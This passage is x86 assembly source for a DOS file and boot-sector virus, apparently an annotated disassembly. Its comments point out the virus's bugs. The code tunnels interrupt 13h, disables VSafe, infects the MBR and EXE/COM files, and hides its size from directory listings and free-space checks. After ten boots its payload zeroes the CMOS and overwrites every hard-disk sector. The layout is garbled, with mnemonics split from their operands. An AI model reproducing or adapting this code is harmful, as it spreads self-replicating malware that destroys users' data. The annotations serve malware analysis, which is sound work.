; Get int 13h ; Store it ; Can use ports

start_tunneling: xor ax,ax mov ds,ax ; DS:=0 cli mov ds:[1h*4+2],cs ; Set new int 1 mov dx,offset(int_1) add dx,bp mov ds:[1h*4],dx sti mov [bp+seg_stop],70h ; Set stop segment (DOS segment) mov ah,0FFh pushf pushf call trace_on call dword ptr ds:[13h*4] ; Trace Int 13h call trace_off cmp [bp+seg_i13],0 ; Tunneling successful? jnz kill_vsafe ; Yes? then jmp jmp get_vi13 kill_vsafe: mov dx,5945h mov ax,0FA01h int 21h ; Uninstall VSafe call install_virus jmp restore_host install_virus: mov call mov xor mov mov mov mov call mov mov call mov push call pop cmp jne mov jmp

al,10h ; Diskette drive types read_cmos [bp+floppy_types],ah ax,ax ds,ax ax,ds:[410h] ; Installed hardware [bp+inst_hard],ax al,2Eh ; 1st byte of CMOS checksum read_cmos ch,ah al,2Fh ; 2nd byte of CMOS checksum read_cmos cl,ah cx calculate_CMOS_checksum_1 cx cx,dx ; Using this method for checksum? try_method_ps2 ; No? then jmp [bp+chksum_method],0 infect_HD

try_method_ps2: mov al,32h call read_cmos mov ch,ah

; 1st byte of CMOS checksum (PS/2)

mov call mov push call pop cmp jne mov jmp unknown_method: mov infect_HD: xor mov call mov call inc mov sub mov push pop mov call jnc jmp read_mbr: mov mov add mov mov int jnc jmp check_mbr: mov push pop mov add mov cld rep jne jmp

al,33h ; 2nd byte of CMOS checksum (PS/2) read_cmos cl,ah cx calculate_CMOS_checksum_2 cx cx,dx ; Using this method for checksum? unknown_method ; No? then jmp [bp+chksum_method],1 infect_HD

[bp+chksum_method],2 ah,ah dl,80h int13hbp ah,8 int13hbp ch dl,80h cl,14 ax,030Ch cs es bx,bp int13hbp read_mbr _ret

; Reset HD controller ; Get drive parameters ; inc max.cylinder ; Get 14 sectors ; 12 sectors to write (its code)

; Write to HD ; Ok? then jmp ; Stupid jmp!!

ax,0201h bx,offset(s_mbr) bx,bp dx,80h cx,1 13h ; Read MBR check_mbr ; Ok? then jmp _ret ; Stupid jmp!!

di,bx cs ds si,offset(mbr_code) si,bp cx,(tmbr_code-mbr_code) cmpsb infect_mbr _ret ; Infected? ; No? then jmp ; Stupid jmp!!

infect_mbr: call get_random mov [bp+mask_orig_mbr],ah mov si,bx mov cx,512 push cx encrypt_orig_mbr: xor [si],ah inc si loop encrypt_orig_mbr push ax

mov ah,8 call int13hbp ; Get drive parameters inc ch ; Inc cylinder dec cl ; Dec sector mov dl,80h mov ax,301h ; 1 sector to write call int13hbp ; Write encripted MBR mov si,bx pop ax pop cx decrypt_orig_mbr: xor [si],ah ; Decrypt MBR inc si loop decrypt_orig_mbr call get_random mov si,offset(st_mbr_enc) add si,bp mov cx,end_mbr_code-st_mbr_enc push si push cx push ax encrypt_mbr: mov cs:[bp+mask_mbr],ah ; Encrypt new MBR code xor [si],ah inc si loop encrypt_mbr mov si,offset(mbr_code) add si,bp mov di,bx mov cx,end_mbr_code-mbr_code rep movsb cmp [bp+use_ports],1 ; Can use ports? je write_using_ports ; Yes? then jmp mov ax,301h ; 1 sector to write mov cx,1 xor dh,dh call int13hbp ; Write new mbr jmp mbr_wrote wait_while_busy: mov dx,1F7h HD_busy: in al,dx ; AT hard disk ; status register bits: ; 0: 1=prev cmd error ; 2: Corrected data ; 3: Data Request. Buffer is busy ; 4: Seek completed ; 5: Write fault ; 6: Drive ready (unless bit 4=0) ; 7: Busy test al,80h ; Busy? jnz HD_busy ; Yes? Repeat while busy ret wait_while_busy_seek: mov dx,1F7h in_seek: in al,dx ; AT hard disk ; status register bits: ; 0: 1=prev cmd error ; 2: Corrected data ; 3: Data Request. Buffer is busy

test jnz test jz ret

; 4: ; 5: ; 6: ; 7: al,80h in_seek al,8 in_seek

Seek completed Write fault Drive ready (unless bit 4=0) Busy ; HD busy? ; Yes? Repeat while busy ; Seek completed? ; No? Repeat until seek completed

write_using_ports: mov si,bx cld mov dx,3F6h mov al,4 out dx,al ; Enable FDC disk reset call waste_time mov al,0 out dx,al call wait_while_busy mov dx,1F6h mov al,10100000b ; ^^^^^head 0 ; |___drive 0 out dx,al ; AT hard disk controller: Drive & Head. call waste_time mov dx,1F7h mov al,10h out dx,al ; AT hard disk command register: ; 1?H = Restore to cylinder 0 ; 7?H = Seek to cylinder ; 2?H = Read sector ; 3xH = Write sector ; 50H = Format track ; 4xH = verify read ; 90H = diagnose ; 91H = set parameters for drive ; Recalibrate drive call wait_while_busy mov dx,1F1h in al,dx ; AT hard disk controller ; Error register. Bits for last error: ; 0: Data Address Mark not found ; 1: Track 0 Error ; 2: Command aborted ; 4: Sector ID not found ; 6: ECC Error: Uncorrectable data error ; 7: Bad block and al,01101000b jnz write_using_ports ; Error? try again call wait_while_busy mov dx,1F2h mov al,1 ; One sector out dx,al ; AT hard disk controller: Sector count. call waste_time mov dx,1F3h mov al,1 ; Start in sector 1 out dx,al ; AT hard disk controller: Sector number. call waste_time mov dx,1F4h mov al,0 out dx,al ; AT hard disk controller: ; Cylinder high (bits 0-1 are bits 8-9

call mov mov out

call mov mov out call mov mov out

call mov mov rep call mbr_wrote: pop pop pop dec_mbrcode: xor inc loop mov mov call mov inc sub mov mov call _ret: ret

; of 10-bit cylinder number) waste_time dx,1F5h al,0 ; Cylinder 0 dx,al ; AT hard disk controller: ; Cylinder low (bits 0-7 of 10-bit ; cylinder number) waste_time dx,1F6h al,10100000b ; Drive 0, Head 0 dx,al ; AT hard disk controller: Drive & Head. waste_time dx,1F7h al,31h ; Write sector without retry dx,al ; AT hard disk ; command register: ; 1?H = Restore to cylinder 0 ; 7?H = Seek to cylinder ; 2?H = Read sector ; 3xH = Write sector ; 50H = Format track ; 4xH = verify read ; 90H = diagnose ; 91H = set parameters for drive wait_while_busy_seek cx,512/2 ; Number of words to write (1 sector) dx,1F0h ; Data register outsw ; Write sector wait_while_busy ax cx si cs:[si],ah si dec_mbrcode ah,8 dl,80h int13hbp ; Get drive parameters dl,80h ch ; inc cylinder cl,2 ; dec sector*2 word ptr cs:[bx],0 ; Reset boot counter ax,0301h ; 1 sector to write int13hbp ; Write to HD

int_1: push push push push push mov lds mov mov cmp je mov bx es si bp ds bp,sp si,[bp+0Ah] bp,cs bx,ds bx,bp end_int1 bp,sp

; Tunneler code

; Get next inst.address from stack

; Is from virus code? ; Yes? then jmp

delta_offset equ word ptr $+1 mov bx,0B3Ah ; mov bx,delta_offset cmp byte ptr [si],9Ch ; Next inst. is a pushf? jne check_popf ; No? then jmp inc word ptr [bp+0Ah] ; Skip the pushf mov cs:[bx+emul_pushf],1 check_popf: cmp byte ptr [si],9Dh ; Next inst. is a popf? jne no_popf ; No? then jmp or word ptr [bp+10h],100h ; Put flag trace in stack no_popf: mov bp,ds cmp cs:[bx+tunnel_ok],1 ; Found int? je end_int1 ; Yes? then jmp cmp bp,cs:[bx+seg_stop] ; Above stop segment? ja end_int1 ; Yes? then jmp mov cs:[bx+ofs_i13],si ; Store as the new int mov cs:[bx+seg_i13],ds mov cs:[bx+tunnel_ok],1 ; Found int end_int1: pop ds pop bp pop si pop es cmp cs:[bx+emul_pushf],1 ; Was found a pushf? je no_restore_flags ; Yes? then jmp pop bx iret no_restore_flags: mov word ptr cs:[bx+emul_pushf],0 pop bx retf waste_time: jmp jmp ret trace_on: pushf pop or push popf ret trace_off: pushf pop and push popf ret check4ide: push mov push mov int

$+2 $+2

bx bh,1 bx

; Set trace flag on

bx bh,0FEh bx

; Set trace flag off

ds dl,80h ; 1st HD dx ah,15h 13h ; DISK - GET TYPE ; DL = drive ID ; Return: CF set on error ; AH = disk type ; Get type of 1st HD

pop cmp je xor mov les mov push push mov int mov rol rol and xchg and mov shl or add pop mov pop cmp xor jne mov no_ide: pop ret fffnfcb: call or jnz pushf call mov call push pop push pop cmp jnz add no_ext_fcb: call call or jz mov call jc mov mov call rcr cmp jb push

dx ah,1 ; Type 1? Diskette??? no_ide ; Yes? then jmp ax,ax ds,ax ; DS:=0 si,ds:[41h*4] ; Get hd0 parameters pointer ax,es:[si] ; Maximun number of cylinders ax dx ah,8 13h ; Get current drive parameters ax,cx al,1 al,1 al,3 ; Get high order 2 bits of cylinder count al,ah ; Cylinder count in AX dh,0C0h ; Get high order 2 bits of head count ; Large Model(?) cl,4 dh,cl ah,dh ; Total cylinder count in AX ax,2 ; Add 2 cylinders dx bx,ax ax bx,ax ; Same cylinder number? al,al ; BUG!!!! This instruction sets the Z-flag no_ide ; Then this jump is never used al,66h ds

int21h al,al no_files_fcb

; FF/FN ; More files? ; No? then jmp

push_registers ah,2Fh int21h ; Get DTA es ds bx dx byte ptr es:[bx],0FFh ; Extended FCB? no_ext_fcb ; No? then jmp dx,7 make_fname exe_or_com? bp,bp error_open_fcb ax,3D00h int21h error_open_fcb bx,ax ax,5700h int21h dh,1 dh,64h no_inf_fcb bx

; EXE or COM? ; No? then jmp ; Open file ; bx:=handle ; Get file time ; Infected? ; No? then jmp

mov call cmp jne add no_ext_fcb2: sub mov rcr pushf sub popf rcl mov pop no_inf_fcb: mov call error_open_fcb: call popf no_files_fcb: retf rename_FCB: push push call jmp rename_handle: push push rename: push push push push push push push push call pop pop or jz push push push pop mov call pop pop or jnz call jmp now_is_exec: call jmp_end_i21:

ah,2Fh int21h ; Get DTA byte ptr es:[bx],0FFh ; Extended FCB? no_ext_fcb2 ; No? then jmp bx,7 word ptr es:[bx+1Dh],offset(length_virus) ax,es:[bx+19h] ; Get file date ah,1 ah,100 ah,1 es:[bx+19h],ax bx ah,3Eh int21h pop_registers ; Set original date

; Close file


ds dx make_fname rename

ds dx es si di cx bp ax es di exe_or_com? di es bp,bp jmp_end_i21 ds dx es ds dx,di exe_or_com? dx ds bp,bp now_is_exec disinfect_file jmp_end_i21

; Renaming from Exe or Com? ; No? then jmp

; Renaming to Exe or Com? ; Yes? then jmp ; else disinfect


pop pop pop pop pop pop pop pop jmp disinfect: push cmp jne test jz mov exec?: cmp jne push push push push push push mov or call mov call dec mov mov push pop call jnc or no_chkdsk: pop pop pop pop pop pop no_exec: test jnz call not_open: pop jmp fffnh: call jc pushf call mov call push pop

ax bp cx di si es dx ds exit_i21

dx ah,6Ch exec? dl,1 not_open dx,si

; ; ; ;

Extended create/open? No? then jmp Action=open file? No? then jmp

ah,4Bh ; Exec file? no_exec ; No? then jmp ax si di es cx ds cs:ticks_disableFD,30*18 ; 30 seconds cs:flags,2 ; Don't disable FD enable_FD si,dx end_fname si di,offset(end_chkdsk) cx,end_chkdsk-end_wswap cs es cmp_strings ; chkdsk.exe? no_chkdsk ; No? then jmp cs:flags,80h ; No stealth ds cx es di si ax cs:flags,1 not_open disinfect_file dx exit_i21 ; bit0 never is 1!!! I think... ; then this jump is never used

int21h ret_fffnh push_registers ah,2Fh int21h es ds

; Find-first/next ; jmp if no more files

; Get DTA

mov add call or jz mov shr cmp jb mov rcr pushf sub popf rcl mov sub end_fffnh: call popf ret_fffnh: retf

dx,bx dx,1Eh exe_or_com? ; if bp=0 then not exe/com bp,bp ; Exe or Com? end_fffnh ; No? then jmp ax,[bx+(dta_date-dta)] ah,1 ah,64h ; Infected? end_fffnh ; No? then jmp ax,es:[bx+(dta_date-dta)] ; Get file date ah,1 ah,100 ; Set original date

ah,1 es:[bx+(dta_date-dta)],ax [bx+(dta_sizel-dta)],offset(length_virus) pop_registers


jmp_infect_on_exit: jmp infect_on_exit int_21: mov cmp je or jz cmp je cmp je test jnz cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp cs:into_i21,1 ah,4Ch ; Exit program via ah=4Ch? jmp_infect_on_exit ; Yes? then jmp (infect) ah,ah ; Exit program via ah=0? jmp_infect_on_exit ; Yes? then jmp (infect) ah,31h ; Exit program via ah=31h (TSR)? jmp_infect_on_exit ; Yes? then jmp (infect) ax,0B0Bh ; Our check? resident_check ; Yes? then jmp cs:flags,80h ; Do stealth? exit_i21 ; No? then jmp ah,4Bh ; Exec? jmp_disinfect ; Yes? then jmp (disinfect) ah,11h ; FF FCB? jmp_fffnfcb ; Yes? then jmp (length stealth) ah,12h ; FN FCB? jmp_fffnfcb ; Yes? then jmp (length stealth) ah,4Eh ; FF handle? fffnh ; Yes? then jmp (length stealth) ah,4Fh ; FN handle? fffnh ; Yes? then jmp (length stealth) ah,3Dh ; Open? jmp_disinfect ; Yes? then jmp (disinfect) ah,6Ch ; Extended open? jmp_disinfect ; Yes? then jmp (disinfect) ah,36h ; Get Disk free? disk_free ; Yes? then jmp (free space stealth) ah,0Fh ; Open file using FCB? open_delete_FCB ; Yes? then jmp (infect) ah,13h ; Delete file using FCB? open_delete_FCB ; Yes? then jmp (infect) ah,17h ; Rename file using FCB? jmp_rename_FCB ; Yes? then jmp (infect/disinfect) ah,41h ; Delete file? del_getsetattr ; Yes? then jmp (infect) ah,56h ; Rename file?

je cmp je cmp je cmp je exit_i21: mov jmp resident_check: mov iret del_getsetattr: jmp jmp_close: jmp jmp_fffnfcb: jmp jmp_disinfect: jmp jmp_rename: jmp jmp_rename_FCB: jmp

jmp_rename ax,4300h del_getsetattr ax,4301h del_getsetattr ah,3Eh jmp_close

; ; ; ; ; ; ;

Yes? then jmp (infect/disinfect) Get attributes? Yes? then jmp (infect) Set attributes? Yes? then jmp (infect) Close file? Yes? then jmp (infect)

cs:into_i21,0 dword ptr cs:ofs_i21 ax,0EFEFh

jmp_try_infect_file close fffnfcb disinfect rename_handle rename_FCB

open_delete_FCB: push ds push dx call make_fname call try_to_infect_file pop dx pop ds jmp exit_i21 save_free: mov mov mov pop call mov retf disk_free: push push mov call pop cmp jne cmp jne pop call mov retf int_27: push mov shr cx cl,4 dx,cl

cs:into_i21,0 cs:stored_psp,bx cs:stored_drive,dl bx int21h cs:clusters_avail,bx 2

; Store program PSP dir ; Store drive ; Get free space ; Store free space

bx ax ah,62h int21h ; Get PSP address in BX ax bx,cs:stored_psp ; Same program? save_free ; No? then jmp dl,cs:stored_drive ; Same drive? save_free ; No? then jmp bx int21h ; Get free space bx,cs:clusters_avail ; Return previous free space 2

; div 16

pop inc mov jmp int_20: xor infect_on_exit: push push push push pushf push pop cmp jne jmp set_checks: mov mov call mov mov mov call mov mov mov call mov mov mov call mov mov mov call mov mov mov call mov mov xor mov cli mov mov mov mov mov mov mov mov sti mov mov push pop movsw movsw

cx dx ax,3100h infect_on_exit

; inc paragraphs ; To exec int 21h, AX=3100 (TSR)

ax,ax ax ds dx bx

; To exec int 21h, AX=0 (exit)

cs ds activity_checks,1 set_checks ints_set

; Checking activity? ; No? then jmp

activity_checks,1 ah,34h int21h ; ofs_flagdos,bx ; seg_flagdos,es al,8 get_int_vector ; ofs_i8,bx ; seg_i8,es al,17h get_int_vector ; ofs_i17,bx ; seg_i17,es al,25h get_int_vector ; ofs_i25,bx ; seg_i25,es al,26h get_int_vector ; ofs_i26,bx ; seg_i26,es ax,5D06h int21h ; cs:ofs_swpdos,si cs:seg_swpdos,ds ax,ax ds,ax

Get address of DOS activity flag Store it

Get int 8 Store it

Get int 17h Store it

Get int 25h Store it

Get int 26h Store it

Get address of DOS swappable area ; Store it

word ptr ds:[8h*4],offset(int8) ds:[8h*4+2],cs word ptr ds:[17h*4],offset(int17) ds:[17h*4+2],cs word ptr ds:[25h*4],offset(int25) ds:[25h*4+2],cs word ptr ds:[26h*4],offset(int26) ds:[26h*4+2],cs si,400h ; Address of COM ports di,offset(com_ports) cs es ; com1 ; com2

; Set int 8 ; Set int 17h ; Set int 25h ; Set int 26h

movsw movsw ints_set: test jnz call get_parent_psp: mov call mov mov mov mov mov cmp jne and no_reset_flags: popf pop pop pop pop mov jmp close: call push call call pop clc mov int

; com3 ; com4 cs:flags,40h get_parent_psp get_fname_env ; bit14 never is 1!!! I think... ; then this jump is never used

ah,62h int21h ; Get current PSP address ds,bx ax,ds:[16h] ; Get parent PSP ds,ax ax,ds:[16h] ; Get parent PSP (of parent PSP :) bx,ds ax,bx ; Same PSP? Parent=command interpreter? no_reset_flags ; No? then jmp cs:flags,0 ; Clear flags

bx dx ds ax cs:into_i21,0 dword ptr cs:ofs_i21

push_registers bx set_i24_i1B_i23 get_ofs_fname bx ax,1220h 2Fh ; GET JOB FILE TABLE ENTRY ; BX = file handle ; Return: CF set on error, AL = 6 ; CF clear if successful ; ES:DI -> JFT entry for file handle ; in current process end_close byte ptr es:[di],0FFh ; No table? end_close ; Yes? then jmp bx bl,es:[di] ; Get file entry number bh,bh ax,1216h 2Fh ; GET ADDRESS OF SYSTEM FILE TABLE ; BX = system file table entry number ; Return: CF clear if successful, ; ES:DI -> system file table entry ; CF set if BX greater than FILES= bx end_close es ds word ptr [di+2],0FFF8h word ptr [di+2],2 ; File open mode 2 (I/O) di,cs:ofs_sft dx,di dx make_fname

jc cmp je clc push mov xor mov int

pop jc push pop and or add mov dec call

push pop mov call end_close: call call jmp

cs ds dx,offset(filename) infect_file restore_i24_i1b_i23 pop_registers exit_i21

jmp_try_infect_file: call try_to_infect_file jmp exit_i21 push_registers: pop push push push push push push push push push jmp pop_registers: pop pop pop pop pop pop pop pop pop pop jmp get_fname_env: call mov call mov mov xor mov search4fname: mov or jz inc loop jmp

cs:return_dir ax bx cx dx es ds si di bp cs:return_dir

cs:return_dir bp di si ds es dx cx bx ax cs:return_dir

push_registers ah,62h int21h ds,bx ds,ds:[2Ch] si,si cx,400h

; Get PSP address in BX ; Get environment segment

ax,[si] ax,ax no_more_variables si search4fname _pop_regs

; Get word ; Zero? ; Yes? then jmp

no_more_variables: add si,4 ; Pathname of environment owner mov dx,si call try_to_infect_file _pop_regs: call pop_registers ret

try_to_infect_file: call push_registers call normalize_fname call set_i24_i1B_i23 ; Set ints call get_reset_attr ; Save & reset attributes jc error_writing mov ax,3D02h call int21h ; Open file I/O jc error_writing mov bx,ax ; bx:=handle call infect_file mov ah,3Eh call int21h ; Close file call restore_attr ; Restore attributes error_writing: call restore_i24_i1b_i23 call pop_registers ret st_command db ext_com end_command gdi_exe end_gdi db end_dosx db end_win386 db end_krnl286 db end_krnl386 db bad_end_user ext_exe end_user db end_wswap db end_chkdsk equ $-1 'COMMAND.' db 'COM' equ word ptr $-1 db 'GDI.EXE' equ word ptr $-1 'DOSX.EXE' equ word ptr $-1 'WIN386.EXE' equ word ptr $-1 'KRNL286.EXE' equ word ptr $-1 'KRNL386.EXE' equ word ptr $-1 'USER.' equ word ptr $-2 db 'EXE' equ word ptr $-1 'WSWAP.EXE' equ word ptr $-1 'CHKDSK.EXE' equ word ptr $-1

normalize_fname: push ds pop es push dx pop si push si pop di mov ax,1211h int 2Fh ; NORMALIZE ASCIZ FILENAME ; DS:SI -> ASCIZ filename to normalize ; ES:DI -> buffer for normalized filename ; Return: destination buffer filled with ; uppercase filename, with slashes turned ; to backslashes ret cmp_strings: ; Compare two strings ; OUTPUT: Carry=1 if strings are equal

std next_char: lodsb

cmp je inc cmpsb loope clc or jnz stc no_match: ret infect_file: push push call or jz push call pop jc mov xor xor call jc call jc call call jz call call jc call not_infect: pop pop ret restore_ftime: mov mov mov call ret restore_attr: mov mov call ret get_ftime: mov call mov mov ret

al,' ' next_char si next_char cx,cx no_match

; Ignore spaces

; Matching strings? ; No? then jmp ; Set carry

ds dx exe_or_com? bp,bp ; not_infect ; bp cmp_fname ; bp not_infect ; ax,4200h cx,cx dx,dx int21h ; not_infect read_header not_infect check_if_exe check_if_infected not_infect get_ftime write_virus not_infect restore_ftime dx ds

Exe or Com? No? then jmp Valid filename? No? then jmp

Lseek start

; Already infected? ; Yes? then jmp

ax,5701h cx,cs:f_time dx,cs:f_date int21h

; Restore file date & time

ax,4301h cx,cs:attribs int21h

; Restore attributes

ax,5700h int21h cs:f_time,cx cs:f_date,dx

; Get file time

get_reset_attr: mov ax,4300h

call mov mov xor call ret check_if_exe: cmp jz cmp jz mov ret is_exe: mov ret cmp_fname: mov call dec mov push pop mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call

int21h cs:attribs,cx ax,4301h cx,cx int21h

; Get attributes ; Store attributes

; Reset attributes

cs:_signature,5A4Dh is_exe cs:_signature,4D5Ah is_exe bp,1

; ; ; ; ;

EXE? Yes? then jmp EXE? Yes? then jmp It's COM


; It's EXE

si,dx end_fname si ; SI points to end fname bp,si cs es di,offset(end_command) cx,end_command-st_command cmp_strings ; COMMAND.COM? invalid_fname ; Yes? then jmp si,bp di,offset(end_gdi) cx,end_gdi-end_command cmp_strings ; GDI.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_dosx) cx,end_dosx-end_gdi cmp_strings ; DOSX.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_win386) cx,end_win386-end_dosx cmp_strings ; WIN386.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_krnl286) cx,end_krnl286-end_win386 cmp_strings ; KRNL286.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_krnl386) cx,end_krnl386-end_krnl286 cmp_strings ; KRNL386.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(bad_end_user) ; BUG!!!! offset(end_user) cx,end_user-end_krnl386 cmp_strings ; USER.EXE? (BUG) invalid_fname ; Yes? then jmp si,bp di,offset(end_wswap) cx,end_wswap-end_user cmp_strings ; WSWAP.EXE?

jc clc invalid_fname: ret


; Yes? then jmp ; Valid filename

get_file_encryption: push cs pop ds mov ofs_virus,offset(length_virus)-offset(l_mask) call lseek mov ah,3Fh mov dx,offset(code_mask) mov cx,1 call int21h ; Read 1 byte (encryption mask) push cs pop ds mov ofs_virus,offset(length_virus)-(offset(prefix_op)+1) call lseek mov ah,3Fh mov dx,offset(ofs_virus) mov cx,1 call int21h ; Read 1 byte cmp byte ptr ofs_virus,0F6h ; Not encryption? je m_not ; Yes? then jmp cmp byte ptr ofs_virus,80h ; Xor encryption? je m_xor ; Yes? then jmp cmp byte ptr ofs_virus,0D0h ; Ror encryption? je m_ror ; Yes? then jmp cmp byte ptr ofs_virus,0FEh ; Dec encryption? je m_dec ; Yes? then jmp m_not: mov crypt_method,1 ret m_xor: mov crypt_method,0 ret m_ror: mov crypt_method,2 ret m_dec: mov crypt_method,3 ret check_if_infected: push cs pop ds call get_file_encryption mov ofs_virus,offset(length_virus)-offset(gdi_exe) call lseek mov ah,3Fh mov dx,offset(ofs_virus) mov cx,2 call int21h ; Read 2 bytes mov si,offset(ofs_virus) call decrypt_bytes mov cx,word ptr gdi_exe cmp cx,ofs_virus ; Infected file? ret get_n_di: call mov shr ; Get SI in [0, DI, DI*2] get_random cl,0Eh ax,cl

; AX in [0..3]

mov mul mov sub jns neg not_neg: ret get_1byte_inst: call mov shr mov mov ret mbr_code: cli xor mov mov push pop mov mov tmbr_code: push decrypt_mbr: xor mask_mbr inc loop st_mbr_enc: mov mov mov mov int inc sub mov mov mov int inc mov int cmp jb mov mov int kill_cmos_hd: mov in or out mov kill_cmos: mov out xor

si,di si si,ax si,di not_neg si

get_random cl,0Eh ax,cl ; AX in [0..3] si,ax al,byte ptr [si+one_byte_inst]

ax,ax ss,ax sp,7C00h cs ds cx,end_mbr_code-mbr_code bx,7C00h+(st_mbr_enc-mbr_code) cx byte ptr [bx],0 equ byte ptr $-1 bx decrypt_mbr ; xor byte ptr [bx],mask_mbr

ax,910h es,ax ; ES:=0910h ah,8 dl,80h 13h ; Get current drive parameters ch ; Inc max. cylinder cl,2 ; Dec*2 max. sector dl,80h ax,201h bx,sp 13h ; Read 1 sector word ptr es:[bx] ; Inc boots counter ax,301h 13h ; Write sector word ptr es:[bx],10 ; <10 boots? no_activate ; Yes? then jmp word ptr es:[bx],0 ; Reset boots counter ax,301h 13h ; Write 1 sector bp,7C00h al,21h al,2 21h,al cx,40h al,cl 70h,al al,al

; Interrupt controller, 8259A. ; Disable keyboard IRQ ; Interrupt controller, 8259A.

; CMOS Memory

out loop mov kill_hd:

71h,al kill_cmos dl,80h

; Fill CMOS with zeros ; 1st HD

mov bh,dl mov ah,8 int 13h ; Get current drive parameters mov dl,bh ; DL:=80h mov al,cl mov cx,101h ; Start in cylinder 1, sector 1 other_cylinder: push dx other_head: push ax mov ah,3 int 13h ; Write sector pop ax dec dh ; dec head jnz other_head pop dx cmp ch,0FFh ; Cylinder=255? pushf inc ch ; Inc cylinder popf jne other_cylinder ; No? then jmp xor ax,ax mov ds,ax ; ds:=0 cmp byte ptr ds:[475h],1 ; <=1 HD present? jbe continue_killing ; Yes? then jmp inc dl ; Next HD jmp kill_hd ; Kill it continue_killing: test cl,80h ; More cylinders? jnz c_768 ; Yes? then jmp test cl,40h ; More cylinders? jnz c_256 ; Yes? then jmp mov cl,41h ; Cylinder 256->512 jmp_other_cylinder: xor ch,ch jmp other_cylinder c_256: mov cl,81h ; Cylinder 512->768 jmp jmp_other_cylinder c_768: mov cl,0C1h ; Cylinder 768->1024 jmp jmp_other_cylinder no_activate: mov sub mov shl mov xor pop mov cld rep mov push push retf

ax,ds:[413h] ax,8 cl,6 ax,cl es,ax di,di cx si,sp

; Number of KBs ; Get 8 KB ; Calculate base segment

movsb ; Move code ax,(read_code_from_disk-mbr_code) es ax ; jmp read_code_from_disk

read_code_from_disk: mov ax,end_mbr_code-mbr_code mov cl,4 shr ax,cl ; Calculate relative segment inc ax ; Next segment mov bx,cs add ax,bx ; Calculate absolute segment mov es,ax ; Base segment for code mov ah,8 mov dl,80h int 13h ; Get current drive parameters inc ch mov dl,80h sub cl,0Eh mov ax,20Ch xor bx,bx int 13h ; Read 12 sectors (code) mov al,cs:[mask_orig_mbr-mbr_code] mov es:mask_orig_mbr,al mov es:changes_i21,0 mov es:loading_dos,0 mov ah,cs:[floppy_types-mbr_code] mov es:floppy_types,ah mov dx,0Ah mov al,10h out 70h,al ; CMOS Memory: diskette drive type in al,71h ; CMOS Memory: read byte or al,al ; Zero? No floppy? jnz already_enabled ; Yes? then jmp mov dx,6 mov al,10h call write_cmos ; Enable floppy already_enabled: xor ax,ax mov ds,ax ; ds:=0 mov byte ptr ds:[700h],16h ; Mark in DOS segment mov bp,cs:[inst_hard-mbr_code] mov ds:[410h],bp lds si,ds:[21h*4] ; Get int 21h cli mov es:[boot_i21],ds sti mov ds,ax lds si,ds:[1Ch*4] ; Get int 1Ch mov es:[ofs_1c],si ; Store it mov es:[seg_1c],ds mov ds,ax cli mov ds:[1Ch*4],offset(int1Ch) ; Set new int 1Ch mov ds:[1Ch*4+2],es sti mov es,ax mov bx,7C00h cmp dx,0Ah ; Was the floppy enabled? jz no_read_boot ; Yes? then jmp xor dx,dx int 13h ; Reset drive A: mov si,2 try_read_again: mov ax,201h mov cx,1 int 13h ; Read sector (boot) jnc exec_boot_mbr

dec jnz no_read_boot: mov mov int inc dec mov mov int mov mov mov dec_orig_mbr: xor inc loop exec_boot_mbr: db dw

si try_read_again ah,8 dl,80h 13h ; Get current drive parameters ch cl dl,80h ax,201h 13h ; Read 1 sector (original MBR) al,cs:[mask_orig_mbr-mbr_code] si,bx cx,512 es:[si],al si dec_orig_mbr ; Decrypt original MBR

0EAh 7C00h,0 ; jmp far ptr 0:7C00h ; Exec original MBR/boot A: ; Input: AL = CMOS address AH = byte to write ; Disable NMI ; CMOS Memory: Select address

write_cmos: ; cli or out mov jmp jmp out mov jmp jmp out sti ret mask_orig_mbr ;_b2c floppy_types ;_b2d inst_hard chksum_method changes_i21 end_mbr_code: int1Ch: call cmp je xor mov cmp je mov sub call dos_present: xor mov

al,80h 70h,al al,ah $+2 $+2 71h,al al,0 $+2 $+2 70h,al

; CMOS Memory: Write byte

; CMOS Memory: Select address

db db dw db db

60h 24h 4461h 0 2

push_registers cs:loading_dos,1 dos_present ax,ax ds,ax byte ptr ds:[700h],16h no_dos_loaded cs:loading_dos,1 word ptr ds:[413h],8 disable_FD ax,ax es,ax

; Loading DOS? ; Yes? then jmp ; ; ; ; ; DS:=0 Mark present? Yes? then jmp No? then loading DOS Get 8 KB

; ES:=0

mov cmp je mov mov inc cmp

jne push pop mov xor mov cld rep stosb ; Clear data area push cs pop ds mov al,13h call get_int_vector ; Get int 13h mov ofs_i13,bx ; Store it mov seg_i13,es call set_ints ; Initialize ints push cs pop ds xor ax,ax mov es,ax ; ES:=0 lds di,dword ptr ofs_1c cli mov es:[1Ch*4],di ; Restore int 1Ch mov es:[1Ch*4+2],ds add word ptr es:[413h],8 ; Return the 8 KB to the ; system (the DOS is loaded ; and will not use them) sti no_dos_loaded: call pop_registers iret read_cmos: or cli out call in mov mov call out sti ret set_ints: push pop mov mov mov mov call mov mov ; Output: al,80h 70h,al waste_time al,71h ah,al al,0 waste_time 70h,al

ax,cs:boot_i21 es:[21h*4+2],ax ; Int 21h changed? no_dos_loaded ; No? then jmp ds,es:[21h*4+2] cs:boot_i21,ds ; Save segment of new i21h cs:changes_i21 cs:changes_i21,2 ; Two changes? ; (DOS changes i21h 2 times) no_dos_loaded ; No? then jmp cs es di,offset(_header) al,al cx,115h

; Input: AL = address to read AH = byte from CMOS ; Disables NMI ; CMOS Memory: Select address ; CMOS Memory: Read byte

; CMOS Memory: Select address 0

cs ds flags,80h point,'.' jmp_virus,0E9h al,21h get_int_vector ofs_i21,bx seg_i21,es

; jmp opcode ; Get int 21h ; Store it

mov call mov mov xor mov cli mov mov mov mov mov mov sti call ret disable_FD: test jnz cmp je push mov call call pop no_disable_fd: ret enable_FD: cmp je push mov mov call call pop no_change_cmos: ret

al,13h get_int_vector ofs_i13_2,bx seg_i13_2,es ax,ax ds,ax

; Get int 13h ; Store it

; DS:=0 ; Set new i21 ; Set new i20 ; Set new i27

